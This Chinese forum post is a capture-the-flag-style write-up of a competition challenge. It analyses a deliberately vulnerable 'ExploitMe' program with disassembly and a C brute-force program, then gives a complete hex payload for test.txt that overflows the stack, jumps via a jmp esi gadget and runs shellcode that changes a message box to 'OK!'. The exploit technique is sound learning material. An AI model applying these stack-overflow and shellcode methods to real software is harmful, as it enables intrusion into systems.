好友
阅读权限 40
听众
最后登录 1970-1-1
本帖最后由 missviola 于 2010-10-5 12:11 编辑
【文章标题】: 某比赛的一个题目分析
【文章作者】: missviola[LCG]
【下载地址】: 附件中有
【使用工具】: OD WinHex VC
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
这几天在做某个比赛的试题,偶有心得,不敢共享,写出来和大家分享分享.
打开题目,只有一个按钮,点击之后提示Failed.试题的要求是通过溢出,将跳出对话框的内容和标题变为OK!.那我们首先用
PEID查下壳吧,显示为Nothing found * ,看看区段,应该没有加壳- -|||.算了,直接用OD载入,查找下字符串看看能不能找
到入手点吧.很幸运看到了这里:
Ultra String Reference, 条目 2
Address=0040038B
Disassembly=push 00400260
Text String=failed!
双击过去在段首下一个断点,运行程序,点击后断下,开始分析:
004002F6 /$ 55 push ebp
004002F7 |. 8BEC mov ebp, esp
004002F9 |. 83EC 10 sub esp, 10
004002FC |. 56 push esi
004002FD |. 57 push edi
004002FE |. 33FF xor edi, edi
00400300 |. 8D4D F0 lea ecx, dword ptr [ebp-10]
00400303 |. 33F6 xor esi, esi
00400305 |. 897D FC mov dword ptr [ebp-4], edi
00400308 |. 897D F8 mov dword ptr [ebp-8], edi
0040030B |. E8 60010000 call 00400470
00400310 |. 68 6C024000 push 0040026C ; test.txt
00400315 |. 8D4D F0 lea ecx, dword ptr [ebp-10]
00400318 |. E8 63010000 call 00400480 ; 打开文件
0040031D |. 85C0 test eax, eax
0040031F |. 74 64 je short 00400385
00400321 |. 8D45 FC lea eax, dword ptr [ebp-4]
00400324 |. 8D4D F0 lea ecx, dword ptr [ebp-10]
00400327 |. 50 push eax
00400328 |. E8 D3010000 call 00400500
0040032D |. 85C0 test eax, eax
0040032F |. 74 54 je short 00400385
00400331 |. 8B4D FC mov ecx, dword ptr [ebp-4]
00400334 |. 83F9 08 cmp ecx, 8
00400337 |. 7E 4C jle short 00400385 ; 文件长度要大于8
00400339 |. B8 00100000 mov eax, 1000
0040033E |. 3BC8 cmp ecx, eax
00400340 |. 7F 43 jg short 00400385 ; 文件长度要小于1000
00400342 |. 6A 40 push 40 ; /Protect = PAGE_EXECUTE_READWRITE
00400344 |. 41 inc ecx ; |
00400345 |. 50 push eax ; |AllocationType => MEM_COMMIT
00400346 |. 51 push ecx ; |Size
00400347 |. 57 push edi ; |Address
00400348 |. FF15 24024000 call dword ptr [<&KERNEL32.VirtualAll>; \VirtualAlloc
0040034E |. 8BF0 mov esi, eax
00400350 |. 3BF7 cmp esi, edi
00400352 |. 74 31 je short 00400385
00400354 |. 8D45 F8 lea eax, dword ptr [ebp-8]
00400357 |. 53 push ebx
00400358 |. 50 push eax
00400359 |. 56 push esi
0040035A |. FF75 FC push dword ptr [ebp-4]
0040035D |. 8D4D F0 lea ecx, dword ptr [ebp-10]
00400360 |. E8 AB010000 call 00400510
00400365 |. 8D4D F0 lea ecx, dword ptr [ebp-10]
00400368 |. 8BD8 mov ebx, eax
0040036A |. E8 61010000 call 004004D0
0040036F |. 3BDF cmp ebx, edi
00400371 |. 5B pop ebx
00400372 |. 74 11 je short 00400385
00400374 |. 8B45 FC mov eax, dword ptr [ebp-4]
00400377 |. 3945 F8 cmp dword ptr [ebp-8], eax
0040037A |. 75 09 jnz short 00400385
0040037C |. 50 push eax
0040037D |. 56 push esi
0040037E |. E8 FDFEFFFF call 00400280 ; 关键算法CALL
00400383 |. 59 pop ecx
00400384 |. 59 pop ecx
00400385 |> 57 push edi ; /Style
00400386 |. 68 68024000 push 00400268 ; |try
0040038B |. 68 60024000 push 00400260 ; |failed!
00400390 |. 57 push edi ; |hOwner
00400391 |. FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA
初步分析程序打开了一个名字为test.txt的文件,然后文件的长度有一些要求.0040037E这里的是关键call,我们构造一个
txt文件然后F7单步进去继续分析 - -||| :
00400280 /$ 55 push ebp
00400281 |. 8BEC mov ebp, esp
00400283 |. 83EC 2C sub esp, 2C ; 开辟堆栈大小为0x2C
00400286 |. 8065 D4 00 and byte ptr [ebp-2C], 0
0040028A |. 56 push esi
0040028B |. 57 push edi
0040028C |. 6A 0A push 0A
0040028E |. 59 pop ecx
0040028F |. 33C0 xor eax, eax
00400291 |. 8D7D D5 lea edi, dword ptr [ebp-2B]
00400294 |. 837D 0C 00 cmp dword ptr [ebp+C], 0
00400298 |. F3:AB rep stos dword ptr es:[edi]
0040029A |. 66:AB stos word ptr es:[edi]
0040029C |. AA stos byte ptr es:[edi]
0040029D |. 7C 51 jl short 004002F0
0040029F |. 8B75 08 mov esi, dword ptr [ebp+8]
004002A2 |. 68 A802CC78 push 78CC02A8
004002A7 |. 68 1B8F9469 push 69948F1B
004002AC |. FF76 04 push dword ptr [esi+4]
004002AF |. FF36 push dword ptr [esi]
004002B1 |. E8 0A030000 call 004005C0 ; 进行64位乘法,同0x78CC02A869948F1B相乘
004002B6 |. 68 82FFE65B push 5BE6FF82
004002BB |. 68 854716A5 push A5164785
004002C0 |. 52 push edx
004002C1 |. 50 push eax
004002C2 |. E8 79020000 call 00400540 ; 进行取模运算,同0x58E6FF82A5164785取模
004002C7 |. 6A 04 push 4
004002C9 |. 8BCE mov ecx, esi
004002CB |. 5F pop edi
004002CC |> 8031 1C /xor byte ptr [ecx], 1C
004002CF |. 8A11 |mov dl, byte ptr [ecx]
004002D1 |. 3051 01 |xor byte ptr [ecx+1], dl
004002D4 |. 41 |inc ecx
004002D5 |. 41 |inc ecx
004002D6 |. 4F |dec edi
004002D7 |.^ 75 F3 \jnz short 004002CC ;这里的循环又会对前八位byte进行变换
004002D9 |. 6A 1A push 1A
004002DB |. 59 pop ecx
004002DC 2BC8 sub ecx, eax ; 0x1A - eax
004002DE |. 0FAFC8 imul ecx, eax ; ecx * eax
004002E1 |. 81E9 9C000000 sub ecx, 9C ; ecx - 9C
004002E7 |. 85C9 test ecx, ecx
004002E9 |. 7E 05 jle short 004002F0
004002EB |. 8D7D D4 lea edi, dword ptr [ebp-2C]
004002EE |. F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 溢出点
004002F0 |> 5F pop edi
004002F1 |. 33C0 xor eax, eax
004002F3 |. 5E pop esi
004002F4 |. C9 leave
004002F5 \. C3 retn
004002EE这里就是溢出点了,观察下堆栈发现我们需要进行0xD次操作可以覆盖掉返回地址,也就是说此时ecx要等于0x0D,
而ecx的值又是由eax来决定的.我们往上拉,发现之前程序读取了test.txt的前八个字节,进行了两次64位的运算,结果就
存放在eax中.那我们就写一个小程序来穷举一下吧:
#include<iostream.h>
#include <stdio.h>
unsigned int _stdcall l(unsigned int i);
void main()
{
unsigned int value=0;
unsigned int i = 0;
while(1)
{
value=l(i);
if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)
{
printf("The result is:%08X\n",i);
}
i++;
if(i == 0xFFFFFFFF)
break;
}
printf("Mission Complete!\n");
getchar();
return;
}
unsigned int _stdcall l(unsigned int i)
{
return 0x69948F1B*i;
}
穷举的结果一共有3个:0x3D6365D6,0x8AD397F7,0xEFF333B5.最后一个结果可以使溢出文件最小,我们就选择最后一组吧.
我们发现在关键call返回的时候,esi的内容指向之前virtualalloc函数分配的内存空间地址的首部,所以我们可以在程序
中寻找看看有没有jmp esi这样的语句,这样关键call返回后又会跳到我们临时分配的临时空间执行代码,如果这里我们跟上
我们的shellcode的话,那岂不是,嘿嘿嘿... - -||||
004002B8 |? FFE6 jmp esi
所以我们可以把返回地址溢出为004002B8,到这里我们修改下test.txt文件的内容吧:
B5 33 F3 EF 00 8C 00 8C 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
B8 02 40 00
这里的8C经过变换之后会变成90,也就是nop指令啦~
01B60000 A9 9AEF001C test eax, 1C00EF9A
01B60005 90 nop
01B60006 1C 90 sbb al, 90
到这里都是符合我们要求的,下面我们就可以写溢出代码了,注意这里要平衡下ebp,不然溢出后会崩溃:
01C10000 A9 9AEF001C test eax, 1C00EF9A
01C10005 90 nop
01C10006 1C 90 sbb al, 90
01C10008 C705 60024000 4>mov dword ptr [400260], 214B4F
01C10012 C705 68024000 4>mov dword ptr [400268], 214B4F
01C1001C 8D6C24 20 lea ebp, dword ptr [esp+20] ;平衡ebp
01C10020 FF66 23 jmp dword ptr [esi+23]
最终修改的test.txt内容如下:
B5 33 F3 EF 00 8C 00 8C C7 05 60 02 40 00 4F 4B
21 00 C7 05 68 02 40 00 4F 4B 21 00 8D 6C 24 20
FF 66 23 83 03 40 00 00 00 00 00 00 00 00 00 00
B8 02 40
好了,最后到了我们享受成果的时候了,将test.txt文件同程序放在同一目录下,点击按钮,成功溢出了程序!!!
--------------------------------------------------------------------------------
【经验总结】
这个题目出得非常的精彩,溢出的条件要解一个64位的方程,解出来的解又要能作为opcode执行.大家有条件的话,最好动手
操作一下,可以从中学到很多东西.
--------------------------------------------------------------------------------
【版权声明】: 本文原创于52pojie技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
2010年10月05日 12:07:53
ExploitMe.rar
(1.49 KB, 下载次数: 13)
免费评分
查看全部评分